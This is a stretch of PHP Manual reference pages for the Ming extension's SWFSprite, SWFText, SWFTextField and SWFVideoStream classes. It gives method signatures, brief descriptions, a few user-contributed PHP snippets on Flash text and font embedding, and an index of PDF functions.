Apparently this function DOES, in fact, return a value as many of the MING examples show. It is a SWFDisplayItem.  Here is an excerpt of an example that appears elsewhere in the MING docs...

<?php
  $p = new SWFSprite();
  $i = $p->add($s);
  $p->nextFrame();
  $i->rotate(15);
  $p->nextFrame();
?>


Creates a movie clip (a sprite)

  • « SWFSprite::add
  • SWFSprite::labelFrame »
  • PHP Manual
  • SWFSprite
  • Creates a movie clip (a sprite)

SWFSprite::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSprite::__construct — Creates a movie clip (a sprite)

Description

SWFSprite::__construct ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates a new SWFSprite object.

User Contributed Notes

There are no user contributed notes for this page.


Labels frame

  • « SWFSprite::__construct
  • SWFSprite::nextFrame »
  • PHP Manual
  • SWFSprite
  • Labels frame

SWFSprite::labelFrame

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSprite::labelFrame — Labels frame

Description

void SWFSprite::labelFrame ( string $label )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Moves to the next frame of the animation

  • « SWFSprite::labelFrame
  • SWFSprite::remove »
  • PHP Manual
  • SWFSprite
  • Moves to the next frame of the animation

SWFSprite::nextFrame

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSprite::nextFrame — Moves to the next frame of the animation

Description

void SWFSprite::nextFrame ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfsprite::setframes() moves to the next frame of the animation.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Removes an object to a sprite

  • « SWFSprite::nextFrame
  • SWFSprite::setFrames »
  • PHP Manual
  • SWFSprite
  • Removes an object to a sprite

SWFSprite::remove

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSprite::remove — Removes an object to a sprite

Description

void SWFSprite::remove ( object $object )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfsprite::remove() remove a swfshape(), a
swfbutton(), a swftext(),
a swfaction() or a swfsprite() object
from the sprite.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the total number of frames in the animation

  • « SWFSprite::remove
  • SWFSprite::startSound »
  • PHP Manual
  • SWFSprite
  • Sets the total number of frames in the animation

SWFSprite::setFrames

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSprite::setFrames — Sets the total number of frames in the animation

Description

void SWFSprite::setFrames ( int $number )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfsprite::setframes() sets the total number of frames in the animation to numberofframes.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFSprite::setFrames
  • SWFSprite::stopSound »
  • PHP Manual
  • SWFSprite
  • Description

SWFSprite::startSound

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSprite::startSound —

Description

SWFSoundInstance SWFSprite::startSound ( SWFSound $sount )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFSprite::stopSound() - Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFSprite::startSound
  • SWFText »
  • PHP Manual
  • SWFSprite
  • Description

SWFSprite::stopSound

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSprite::stopSound —

Description

void SWFSprite::stopSound ( SWFSound $sount )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

See Also

  • SWFSprite::startSound() - Description

User Contributed Notes

There are no user contributed notes for this page.


The SWFText class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

SWFText.

Class synopsis

SWFText {
/* Methods */
void addString ( string $string )
void addUTF8String ( string $text )
__construct ( void )
float getAscent ( void )
float getDescent ( void )
float getLeading ( void )
float getUTF8Width ( string $string )
float getWidth ( string $string )
void moveTo ( float $x , float $y )
void setColor ( int $red , int $green , int $blue [, int $a = 255 ] )
void setFont ( SWFFont $font )
void setHeight ( float $height )
void setSpacing ( float $spacing )
}

Table of Contents

  • SWFText::addString — Draws a string
  • SWFText::addUTF8String — Writes the given text into this SWFText object at the current pen position, using the current font, height, spacing, and color
  • SWFText::__construct — Creates a new SWFText object
  • SWFText::getAscent — Returns the ascent of the current font at its current size, or 0 if not available
  • SWFText::getDescent — Returns the descent of the current font at its current size, or 0 if not available
  • SWFText::getLeading — Returns the leading of the current font at its current size, or 0 if not available
  • SWFText::getUTF8Width — calculates the width of the given string in this text objects current font and size
  • SWFText::getWidth — Computes string's width
  • SWFText::moveTo — Moves the pen
  • SWFText::setColor — Sets the current text color
  • SWFText::setFont — Sets the current font
  • SWFText::setHeight — Sets the current font height
  • SWFText::setSpacing — Sets the current font spacing

User Contributed Notes

p_smiecho at interia dot pl 01-Dec-2003 12:26
It seems to me that there is a bug: everything works perfect but only with Linux. SWFText crashes while working on Windows. So I do it that way:

<?php
   $f = new SWFFont('Arial');
   $t = new SWFTextField();
   $t -> setFont($f);
   $t -> addString('Hello world!!!');

   $p = new SWFSprite();
   $i = $p -> add($t);
   $i -> moveto(100, 100);    // Here you can move text !!
   //$p -> remove($i);

   $m = new SWFMovie();
//   ...
   $m -> add($p);
?>

Of course it writes text where I want, but I still can't get other methods of SWFText class. For example: I can't get text width (swftext->getwidth).
franky at boucheros dot com 22-Apr-2002 03:12
For windows platform :

<?php
$f=new SWFFont("_sans");
$t=new SWFTextField();
?>

and comment the moveto line.


Draws a string

  • « SWFText
  • SWFText::addUTF8String »
  • PHP Manual
  • SWFText
  • Draws a string

SWFText::addString

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::addString — Draws a string

Description

void SWFText::addString ( string $string )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftext::addstring() draws the string string at the current pen (cursor) location. Pen is at the baseline of the text; i.e., ascending text is in the -y direction.

Return Values

No value is returned.

See Also

  • SWFText::addUTF8String() - Writes the given text into this SWFText object at the current pen position, using the current font, height, spacing, and color

User Contributed Notes

There are no user contributed notes for this page.


Writes the given text into this SWFText object at the current pen position, using the current font, height, spacing, and color

  • « SWFText::addString
  • SWFText::__construct »
  • PHP Manual
  • SWFText
  • Writes the given text into this SWFText object at the current pen position, using the current font, height, spacing, and color

SWFText::addUTF8String

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::addUTF8String — Writes the given text into this SWFText object at the current pen position, using the current font, height, spacing, and color

Description

void SWFText::addUTF8String ( string $text )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

See Also

  • SWFText::addString() - Draws a string

User Contributed Notes

There are no user contributed notes for this page.


Creates a new SWFText object

  • « SWFText::addUTF8String
  • SWFText::getAscent »
  • PHP Manual
  • SWFText
  • Creates a new SWFText object

SWFText::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::__construct — Creates a new SWFText object

Description

SWFText::__construct ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates a new SWFText object, fresh for manipulating.

Examples

This simple example will draw a big yellow "PHP generates Flash with Ming" text, on white background.

Example #1 swftext() example

<?php
$f = new SWFFont("Techno.fdb");
$t = new SWFText();
$t->setFont($f);
$t->moveTo(200, 2400);
$t->setColor(0xff, 0xff, 0);
$t->setHeight(1200);
$t->addString("PHP generates Flash with Ming!!");

$m = new SWFMovie();
$m->setDimension(5400, 3600);

$m->add($t);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the ascent of the current font at its current size, or 0 if not available

  • « SWFText::__construct
  • SWFText::getDescent »
  • PHP Manual
  • SWFText
  • Returns the ascent of the current font at its current size, or 0 if not available

SWFText::getAscent

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::getAscent — Returns the ascent of the current font at its current size, or 0 if not available

Description

float SWFText::getAscent ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFText::getDescent() - Returns the descent of the current font at its current size, or 0 if not available

User Contributed Notes

There are no user contributed notes for this page.


Returns the descent of the current font at its current size, or 0 if not available

  • « SWFText::getAscent
  • SWFText::getLeading »
  • PHP Manual
  • SWFText
  • Returns the descent of the current font at its current size, or 0 if not available

SWFText::getDescent

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::getDescent — Returns the descent of the current font at its current size, or 0 if not available

Description

float SWFText::getDescent ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFText::getAscent() - Returns the ascent of the current font at its current size, or 0 if not available

User Contributed Notes

There are no user contributed notes for this page.


Returns the leading of the current font at its current size, or 0 if not available

  • « SWFText::getDescent
  • SWFText::getUTF8Width »
  • PHP Manual
  • SWFText
  • Returns the leading of the current font at its current size, or 0 if not available

SWFText::getLeading

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::getLeading — Returns the leading of the current font at its current size, or 0 if not available

Description

float SWFText::getLeading ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


calculates the width of the given string in this text objects current font and size

  • « SWFText::getLeading
  • SWFText::getWidth »
  • PHP Manual
  • SWFText
  • calculates the width of the given string in this text objects current font and size

SWFText::getUTF8Width

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::getUTF8Width — calculates the width of the given string in this text objects current font and size

Description

float SWFText::getUTF8Width ( string $string )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFText::getWidth() - Computes string's width

User Contributed Notes

There are no user contributed notes for this page.


Computes string's width

  • « SWFText::getUTF8Width
  • SWFText::moveTo »
  • PHP Manual
  • SWFText
  • Computes string's width

SWFText::getWidth

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::getWidth — Computes string's width

Description

float SWFText::getWidth ( string $string )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns the rendered width of the string at the text object's current font, scale, and spacing settings.

See Also

  • SWFText::getUTF8Width() - calculates the width of the given string in this text objects current font and size

User Contributed Notes

There are no user contributed notes for this page.


Moves the pen

  • « SWFText::getWidth
  • SWFText::setColor »
  • PHP Manual
  • SWFText
  • Moves the pen

SWFText::moveTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::moveTo — Moves the pen

Description

void SWFText::moveTo ( float $x , float $y )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftext::moveto() moves the pen (or cursor, if that makes more sense) to (x,y) in text object's coordinate space. If either is zero, though, value in that dimension stays the same. Annoying, should be fixed.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the current text color

  • « SWFText::moveTo
  • SWFText::setFont »
  • PHP Manual
  • SWFText
  • Sets the current text color

SWFText::setColor

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::setColor — Sets the current text color

Description

void SWFText::setColor ( int $red , int $green , int $blue [, int $a = 255 ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Changes the current text color.

Parameters

These parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF:

red

Value of red component

green

Value of green component

blue

Value of blue component

a

Value of alpha component

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the current font

  • « SWFText::setColor
  • SWFText::setHeight »
  • PHP Manual
  • SWFText
  • Sets the current font

SWFText::setFont

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::setFont — Sets the current font

Description

void SWFText::setFont ( SWFFont $font )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftext::setfont() sets the current font to font.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the current font height

  • « SWFText::setFont
  • SWFText::setSpacing »
  • PHP Manual
  • SWFText
  • Sets the current font height

SWFText::setHeight

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::setHeight — Sets the current font height

Description

void SWFText::setHeight ( float $height )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftext::setheight() sets the current font height to height. Default is 240.

Return Values

No value is returned.

User Contributed Notes

o dot marce at free dot fr 27-Sep-2005 08:11
SWFText->setHeight seems to take a pixel value, not a twips  value (20 twips per pixel)


Sets the current font spacing

  • « SWFText::setHeight
  • SWFTextField »
  • PHP Manual
  • SWFText
  • Sets the current font spacing

SWFText::setSpacing

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::setSpacing — Sets the current font spacing

Description

void SWFText::setSpacing ( float $spacing )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftext::setspacing() sets the current font spacing to spacing. Default is 1.0. 0 is all of the letters written at the same point. This doesn't really work that well because it inflates the advance across the letter, doesn't add the same amount of spacing between the letters. I should try and explain that better, prolly. Or just fix the damn thing to do constant spacing. This was really just a way to figure out how letter advances work, anyway.. So nyah.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The SWFTextField class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

SWFTextField.

Class synopsis

SWFTextField {
/* Methods */
void addChars ( string $chars )
void addString ( string $string )
void align ( int $alignement )
__construct ([ int $flags ] )
void setBounds ( float $width , float $height )
void setColor ( int $red , int $green , int $blue [, int $a = 255 ] )
void setFont ( SWFFont $font )
void setHeight ( float $height )
void setIndentation ( float $width )
void setLeftMargin ( float $width )
void setLineSpacing ( float $height )
void setMargins ( float $left , float $right )
void setName ( string $name )
void setPadding ( float $padding )
void setRightMargin ( float $width )
}

Table of Contents

  • SWFTextField::addChars — adds characters to a font that will be available within a textfield
  • SWFTextField::addString — Concatenates the given string to the text field
  • SWFTextField::align — Sets the text field alignment
  • SWFTextField::__construct — Creates a text field object
  • SWFTextField::setBounds — Sets the text field width and height
  • SWFTextField::setColor — Sets the color of the text field
  • SWFTextField::setFont — Sets the text field font
  • SWFTextField::setHeight — Sets the font height of this text field font
  • SWFTextField::setIndentation — Sets the indentation of the first line
  • SWFTextField::setLeftMargin — Sets the left margin width of the text field
  • SWFTextField::setLineSpacing — Sets the line spacing of the text field
  • SWFTextField::setMargins — Sets the margins width of the text field
  • SWFTextField::setName — Sets the variable name
  • SWFTextField::setPadding — Sets the padding of this textfield
  • SWFTextField::setRightMargin — Sets the right margin width of the text field

User Contributed Notes

There are no user contributed notes for this page.


adds characters to a font that will be available within a textfield

  • « SWFTextField
  • SWFTextField::addString »
  • PHP Manual
  • SWFTextField
  • adds characters to a font that will be available within a textfield

SWFTextField::addChars

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::addChars — adds characters to a font that will be available within a textfield

Description

void SWFTextField::addChars ( string $chars )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

See Also

  • SWFTextField::addString() - Concatenates the given string to the text field

User Contributed Notes

There are no user contributed notes for this page.


Concatenates the given string to the text field

  • « SWFTextField::addChars
  • SWFTextField::align »
  • PHP Manual
  • SWFTextField
  • Concatenates the given string to the text field

SWFTextField::addString

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::addString — Concatenates the given string to the text field

Description

void SWFTextField::addString ( string $string )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setname() concatenates the string string to the text field.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the text field alignment

  • « SWFTextField::addString
  • SWFTextField::__construct »
  • PHP Manual
  • SWFTextField
  • Sets the text field alignment

SWFTextField::align

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::align — Sets the text field alignment

Description

void SWFTextField::align ( int $alignement )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::align() sets the text field alignment to alignement. Valid values for alignement are : SWFTEXTFIELD_ALIGN_LEFT, SWFTEXTFIELD_ALIGN_RIGHT, SWFTEXTFIELD_ALIGN_CENTER and SWFTEXTFIELD_ALIGN_JUSTIFY.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Creates a text field object

  • « SWFTextField::align
  • SWFTextField::setBounds »
  • PHP Manual
  • SWFTextField
  • Creates a text field object

SWFTextField::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::__construct — Creates a text field object

Description

SWFTextField::__construct ([ int $flags ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield() creates a new text field object. Text Fields are less flexible than swftext() objects- they can't be rotated, scaled non-proportionally, or skewed, but they can be used as form entries, and they can use browser-defined fonts.

The optional flags change the text field's behavior. It has the following possibles values :

  • SWFTEXTFIELD_DRAWBOX draws the outline of the textfield
  • SWFTEXTFIELD_HASLENGTH
  • SWFTEXTFIELD_HTML allows text markup using HTML-tags
  • SWFTEXTFIELD_MULTILINE allows multiple lines
  • SWFTEXTFIELD_NOEDIT indicates that the field shouldn't be user-editable
  • SWFTEXTFIELD_NOSELECT makes the field non-selectable
  • SWFTEXTFIELD_PASSWORD obscures the data entry
  • SWFTEXTFIELD_WORDWRAP allows text to wrap
Flags are combined with the bitwise OR operation. For example,
<?php
$t = newSWFTextField(SWFTEXTFIELD_PASSWORD | SWFTEXTFIELD_NOEDIT);
?>
creates a totally useless non-editable password field.

SWFTextField has the following methods : swftextfield::setfont(),
swftextfield::setbounds(), swftextfield::align(),
swftextfield::setheight(), swftextfield::setleftmargin(),
swftextfield::setrightmargin(), swftextfield::setmargins(),
swftextfield::setindentation(), swftextfield::setlinespacing(),
swftextfield::setcolor(), swftextfield::setname() and
swftextfield::addstring().

User Contributed Notes

There are no user contributed notes for this page.


Sets the text field width and height

  • « SWFTextField::__construct
  • SWFTextField::setColor »
  • PHP Manual
  • SWFTextField
  • Sets the text field width and height

SWFTextField::setBounds

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::setBounds — Sets the text field width and height

Description

void SWFTextField::setBounds ( float $width , float $height )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setbounds() sets the text field width to width and height to height. If you don't set the bounds yourself, Ming makes a poor guess at what the bounds are.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the color of the text field

  • « SWFTextField::setBounds
  • SWFTextField::setFont »
  • PHP Manual
  • SWFTextField
  • Sets the color of the text field

SWFTextField::setColor

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::setColor — Sets the color of the text field

Description

void SWFTextField::setColor ( int $red , int $green , int $blue [, int $a = 255 ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setcolor() sets the color of the text field. Default is fully opaque black. Color is represented using RGB system.

Parameters

These parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF:

red

Value of red component

green

Value of green component

blue

Value of blue component

a

Value of alpha component

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the text field font

  • « SWFTextField::setColor
  • SWFTextField::setHeight »
  • PHP Manual
  • SWFTextField
  • Sets the text field font

SWFTextField::setFont

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::setFont — Sets the text field font

Description

void SWFTextField::setFont ( SWFFont $font )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setfont() sets the text field font to the [browser-defined?] font font.

Return Values

No value is returned.

User Contributed Notes

jerryscript at aol dot com 05-Jan-2004 03:57
Ming 0.3 (current cvs) allows you to embed fonts using addChars().

$t-new SWFTextField();
$t->setFont(new SWFFont("font_file.fdb"));
$lowercase="abcdefghijklmnopqrstuvwxyz";
$uppercase="ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$numbers="1234567890";
$charsToAdd="$lowercase$uppercase$numbers";
$t->addChars($charsToAdd);

I'm not sure if you can use regExp to addChars?
[note-I broke the char list up due to this board's wordwrap]
Anze 04-Nov-2003 11:53
From what I could gather, version 0.2a of Ming only allows to set browser font (that is, font is used only if user has it on his/her computer, otherwise some default is used). Embedding fonts does not work in this version, but judging from ChangeLog in CVS any CVS version from 2002-11-19 should be able to embed fdb font of your liking. Haven't tried it though.


Sets the font height of this text field font

  • « SWFTextField::setFont
  • SWFTextField::setIndentation »
  • PHP Manual
  • SWFTextField
  • Sets the font height of this text field font

SWFTextField::setHeight

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::setHeight — Sets the font height of this text field font

Description

void SWFTextField::setHeight ( float $height )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setheight() sets the font height of this text field font to the given height height. Default is 240.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the indentation of the first line

  • « SWFTextField::setHeight
  • SWFTextField::setLeftMargin »
  • PHP Manual
  • SWFTextField
  • Sets the indentation of the first line

SWFTextField::setIndentation

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::setIndentation — Sets the indentation of the first line

Description

void SWFTextField::setIndentation ( float $width )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setindentation() sets the indentation of the first line in the text field, to width.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the left margin width of the text field

  • « SWFTextField::setIndentation
  • SWFTextField::setLineSpacing »
  • PHP Manual
  • SWFTextField
  • Sets the left margin width of the text field

SWFTextField::setLeftMargin

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::setLeftMargin — Sets the left margin width of the text field

Description

void SWFTextField::setLeftMargin ( float $width )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setleftmargin() sets the left margin width of the text field to width. Default is 0.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the line spacing of the text field

  • « SWFTextField::setLeftMargin
  • SWFTextField::setMargins »
  • PHP Manual
  • SWFTextField
  • Sets the line spacing of the text field

SWFTextField::setLineSpacing

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::setLineSpacing — Sets the line spacing of the text field

Description

void SWFTextField::setLineSpacing ( float $height )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setlinespacing() sets the line spacing of the text field to the height of height. Default is 40.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the margins width of the text field

  • « SWFTextField::setLineSpacing
  • SWFTextField::setName »
  • PHP Manual
  • SWFTextField
  • Sets the margins width of the text field

SWFTextField::setMargins

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::setMargins — Sets the margins width of the text field

Description

void SWFTextField::setMargins ( float $left , float $right )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setmargins() set both margins at once, for the man on the go.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the variable name

  • « SWFTextField::setMargins
  • SWFTextField::setPadding »
  • PHP Manual
  • SWFTextField
  • Sets the variable name

SWFTextField::setName

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::setName — Sets the variable name

Description

void SWFTextField::setName ( string $name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setname() sets the variable name of this text field to name, for form posting and action scripting purposes.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the padding of this textfield

  • « SWFTextField::setName
  • SWFTextField::setRightMargin »
  • PHP Manual
  • SWFTextField
  • Sets the padding of this textfield

SWFTextField::setPadding

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::setPadding — Sets the padding of this textfield

Description

void SWFTextField::setPadding ( float $padding )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the right margin width of the text field

  • « SWFTextField::setPadding
  • SWFVideoStream »
  • PHP Manual
  • SWFTextField
  • Sets the right margin width of the text field

SWFTextField::setRightMargin

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::setRightMargin — Sets the right margin width of the text field

Description

void SWFTextField::setRightMargin ( float $width )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setrightmargin() sets the right margin width of the text field to width. Default is 0.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The SWFVideoStream class

(PHP 5.0.5-5.3.0, PECL ming SVN)

Introduction

SWFVideoStream.

Class synopsis

SWFVideoStream {
/* Methods */
__construct ([ string $file ] )
int getNumFrames ( void )
void setDimension ( int $x , int $y )
}

Table of Contents

  • SWFVideoStream::__construct — Returns a SWFVideoStream object
  • SWFVideoStream::getNumFrames — Returns the number of frames in the video
  • SWFVideoStream::setDimension — Sets video dimension

User Contributed Notes

There are no user contributed notes for this page.


Returns a SWFVideoStream object

  • « SWFVideoStream
  • SWFVideoStream::getNumFrames »
  • PHP Manual
  • SWFVideoStream
  • Returns a SWFVideoStream object

SWFVideoStream::__construct

(PHP 5.0.5-5.3.0, PECL ming SVN)

SWFVideoStream::__construct — Returns a SWFVideoStream object

Description

SWFVideoStream::__construct ([ string $file ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of frames in the video

  • « SWFVideoStream::__construct
  • SWFVideoStream::setDimension »
  • PHP Manual
  • SWFVideoStream
  • Returns the number of frames in the video

SWFVideoStream::getNumFrames

(PHP 5.0.5-5.3.0, PECL ming SVN)

SWFVideoStream::getNumFrames — Returns the number of frames in the video

Description

int SWFVideoStream::getNumFrames ( void )

This function returns the number of video-frames of a SWFVideoStream.

Return Values

Returns the number of frames, as an integer

User Contributed Notes

There are no user contributed notes for this page.


Sets video dimension

  • « SWFVideoStream::getNumFrames
  • PDF »
  • PHP Manual
  • SWFVideoStream
  • Sets video dimension

SWFVideoStream::setDimension

(PHP 5.0.5-5.3.0, PECL ming SVN)

SWFVideoStream::setDimension — Sets video dimension

Description

void SWFVideoStream::setDimension ( int $x , int $y )

Sets the width and height for streamed videos.

Parameters

x

Width in pixels.

y

Height in pixels.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


PDF

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic Usage Examples
  • PDF Functions
    • PDF_activate_item — Activate structure element or other content item
    • PDF_add_annotation — Add annotation [deprecated]
    • PDF_add_bookmark — Add bookmark for current page [deprecated]
    • PDF_add_launchlink — Add launch annotation for current page [deprecated]
    • PDF_add_locallink — Add link annotation for current page [deprecated]
    • PDF_add_nameddest — Create named destination
    • PDF_add_note — Set annotation for current page [deprecated]
    • PDF_add_outline — Add bookmark for current page [deprecated]
    • PDF_add_pdflink — Add file link annotation for current page [deprecated]
    • PDF_add_table_cell — Add a cell to a new or existing table
    • PDF_add_textflow — Create Textflow or add text to existing Textflow
    • PDF_add_thumbnail — Add thumbnail for current page
    • PDF_add_weblink — Add weblink for current page [deprecated]
    • PDF_arc — Draw a counterclockwise circular arc segment
    • PDF_arcn — Draw a clockwise circular arc segment
    • PDF_attach_file — Add file attachment for current page [deprecated]
    • PDF_begin_document — Create new PDF file
    • PDF_begin_font — Start a Type 3 font definition
    • PDF_begin_glyph — Start glyph definition for Type 3 font
    • PDF_begin_item — Open structure element or other content item
    • PDF_begin_layer — Start layer
    • PDF_begin_page_ext — Start new page
    • PDF_begin_page — Start new page [deprecated]
    • PDF_begin_pattern — Start pattern definition
    • PDF_begin_template_ext — Start template definition
    • PDF_begin_template — Start template definition [deprecated]
    • PDF_circle — Draw a circle
    • PDF_clip — Clip to current path
    • PDF_close_image — Close image
    • PDF_close_pdi_page — Close the page handle
    • PDF_close_pdi — Close the input PDF document [deprecated]
    • PDF_close — Close pdf resource [deprecated]
    • PDF_closepath_fill_stroke — Close, fill and stroke current path
    • PDF_closepath_stroke — Close and stroke path
    • PDF_closepath — Close current path
    • PDF_concat — Concatenate a matrix to the CTM
    • PDF_continue_text — Output text in next line
    • PDF_create_3dview — Create 3D view
    • PDF_create_action — Create action for objects or events
    • PDF_create_annotation — Create rectangular annotation
    • PDF_create_bookmark — Create bookmark
    • PDF_create_field — Create form field
    • PDF_create_fieldgroup — Create form field group
    • PDF_create_gstate — Create graphics state object
    • PDF_create_pvf — Create PDFlib virtual file
    • PDF_create_textflow — Create textflow object
    • PDF_curveto — Draw Bezier curve
    • PDF_define_layer — Create layer definition
    • PDF_delete_pvf — Delete PDFlib virtual file
    • PDF_delete_table — Delete table object
    • PDF_delete_textflow — Delete textflow object
    • PDF_delete — Delete PDFlib object
